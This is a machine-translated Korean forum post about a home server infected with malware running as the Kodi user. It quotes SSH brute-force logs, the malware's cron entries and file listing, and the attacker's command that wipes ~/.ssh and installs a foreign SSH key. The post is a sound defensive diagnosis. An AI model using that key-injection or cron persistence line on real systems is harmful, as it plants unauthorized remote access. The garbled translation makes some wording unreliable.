최근에 홈 서버가 느리게 느려지는 것을 알았습니다. 모든 자원이 개 프로세스에 의해 먹게되었다 : crond64와 tsm. 내가 그들을 반복적으로 죽 였지만, 그들은 계속해서 계속 나타났습니다.
동시에 ISP가 내 IP 주소에서 발생하는 남용에 대해 알려주었습니다.
==================== Excerpt from log for 178.22.105.xxx====================
Note: Local timezone is +0100 (CET)
Jan 28 20:55:44 shared06 sshd[26722]: Invalid user admin from 178.22.105.xxx
Jan 28 20:55:44 shared06 sshd[26722]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=178.22.105.xxx
Jan 28 20:55:45 shared06 sshd[26722]: Failed password for invalid user admin from 178.22.105.xxx port 33532 ssh2
Jan 28 20:55:46 shared06 sshd[26722]: Received disconnect from 178.22.105.xxx port 33532:11: Bye Bye [preauth]
Jan 28 20:55:46 shared06 sshd[26722]: Disconnected from 178.22.105.xxx port 33532 [preauth]
Jan 28 21:12:05 shared06 sshd[30920]: Invalid user odm from 178.22.105.xxx
Jan 28 21:12:05 shared06 sshd[30920]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=178.22.105.xxx
Jan 28 21:12:07 shared06 sshd[30920]: Failed password for invalid user odm from 178.22.105.xxx port 45114 ssh2
Jan 28 21:12:07 shared06 sshd[30920]: Received disconnect from 178.22.105.xxx port 45114:11: Bye Bye [preauth]
Jan 28 21:12:07 shared06 sshd[30920]: Disconnected from 178.22.105.xxx port 45114 [preauth]
나는으로의 튕겨 나갔습니다 이 나는 바이러스가있을 수 있음을 웹 사이트. Sophos AV를 실행하여 전체 하드 드라이브를 검사하고 실제로에서 일부 바이러스를 발견했습니다 /tmp/.mountfs/.rsync. 그래서 전체 폴더를 삭제하고 이것이 있다고 생각했습니다. 그러나 나중에 계속 돌아 왔습니다. 그런 다음 사용자 cron 파일을 검사했습니다 /var/spool/cron/crontabs/kodi(바이러스는 미디어 서버 kodi의 사용자를 사용하여 실행 중임).
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (cron.d installed on Sun Feb 3 21:52:03 2019)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
* */12 * * * /home/kodi/.ttp/a/upd>/dev/null 2>&1
@reboot /home/kodi/.ttp/a/upd>/dev/null 2>&1
5 8 * * 0 /home/kodi/.ttp/b/sync>/dev/null 2>&1
@reboot /home/kodi/.ttp/b/sync>/dev/null 2>&1
#5 1 * * * /tmp/.mountfs/.rsync/c/aptitude>/dev/null 2>&1
바이러스가 다른 디렉토리에서 가끔씩 자신을 재 활성화하는 것처럼 보입니다. 해당 디렉토리의 내용은 다음과 같습니다.
>>> ls /home/kodi/.ttp/*
/home/kodi/.ttp/cron.d /home/kodi/.ttp/dir2.dir
/home/kodi/.ttp/a:
a bash.pid config.txt crond32 crond64 cronda crondb dir.dir pools.txt run stop upd
/home/kodi/.ttp/b:
a dir.dir rsync run stop sync
/home/kodi/.ttp/c:
aptitude dir.dir go ip lib n p run slow start stop tsm tsm32 tsm64 v watchdog
나는이 모든 파일과 crontab의 항목을 삭제하고 이것으로 희망하면 문제가 해결됩니다. 그러나 나는 이것이 어떤 바이러스인지, 어떻게 감염되었는지 (Kodi에 연결되었을 수 있는지), 바이러스를 예방하기 위해 무엇을 할 수 있는지에 관심이 있습니다. 운 좋게도 제한된 권한을 가진 사용자 만 실행했지만 여전히 처리가 성가시다.
편집하다
이 바이러스의 모든 유골을 제거했지만 (전체 tmp 폴더도 제거 했음에도 불구하고) 바이러스가 계속 재발했습니다. 에 항목이 있다는 것을 깨달았 ~/.ssh/authorized_hosts습니다. 이것은 바이러스가 반복적으로 이식 될 수있는 방법을 설명합니다. 항목을 제거하고 해당 사용자에 대한 로그인을 비활성화하고 암호 로그인을 비활성화하고 (비밀번호 만) 비표준 포트를 사용합니다.
또한 임의의 봇에 의해 임의의 사용자 이름으로 서버에서 로그인 시도가 반복되는 것을 발견했습니다. 내 컴퓨터가 처음에 어떻게 감염되었는지 생각합니다.
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB... ...VKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod 700 .ssh && cd .ssh && chmod 600 authorized_keys && cd ~. 방금 cp /etc/skel/.bashrc /home/mycompromiseduser/제거했습니다.